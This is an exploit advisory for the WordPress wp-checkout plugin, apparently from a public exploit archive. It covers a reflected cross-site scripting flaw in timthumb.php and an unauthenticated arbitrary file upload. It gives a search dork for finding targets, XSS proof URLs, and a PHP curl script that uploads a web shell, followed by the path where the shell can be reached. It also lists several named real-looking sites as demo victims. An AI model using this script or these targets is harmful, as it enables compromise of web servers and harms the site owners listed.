WordPress WP-Checkout Cross Site Scripting / Shell Upload

`#Title : Wordpress Plugin wp-checkout XSS / Arbitrary File Upload  
  
#Author : DevilScreaM  
  
#Date : 10/31/2013  
  
#Category : Web Applications  
  
#Type : PHP  
  
#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security  
Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber  
  
#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |  
  
#Vulnerabillity : xss, Arbitrary File Upload  
  
#Dork :   
  
inurl:wp-content/plugins/wp-checkout  
  
  
Cross Site Scripting  
  
http://site-target/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=[XSS]  
  
Example  
  
http://osteopathywinchester.co.uk/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=<h1>DevilScreaM</h1>  
http://pacificcrest.org/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=<h1>DevilScreaM</h1>  
  
  
Solution  
  
Upgrade Version Timthumb or Delete Files timthumb.php  
  
=================================================================================================  
  
  
Arbitrary File Upload  
  
  
Exploit : http://site-target/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php  
  
<?php  
  
$uploadfile="devilscream.php";  
$ch = curl_init("http://site-target/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php");  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,  
array('Filedata'=>"@$uploadfile",  
'folder'=>'/wp-content/uploads/wp-checkout/'));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$postResult = curl_exec($ch);  
curl_close($ch);  
  
print "$postResult";  
?>  
  
  
Shell Access : http://site-target/wp-content/uploads/wp-checkout/devilscream.php  
  
Demo :   
  
http://prittybypri.com/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php  
http://windham73.com/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php  
http://twobuttons.com/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php  
http://riosdeaguavivaupci.com/hp_wordpress/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php  
http://brookesprevention.org/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php  
http://theheartofawoman.net/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php  
  
`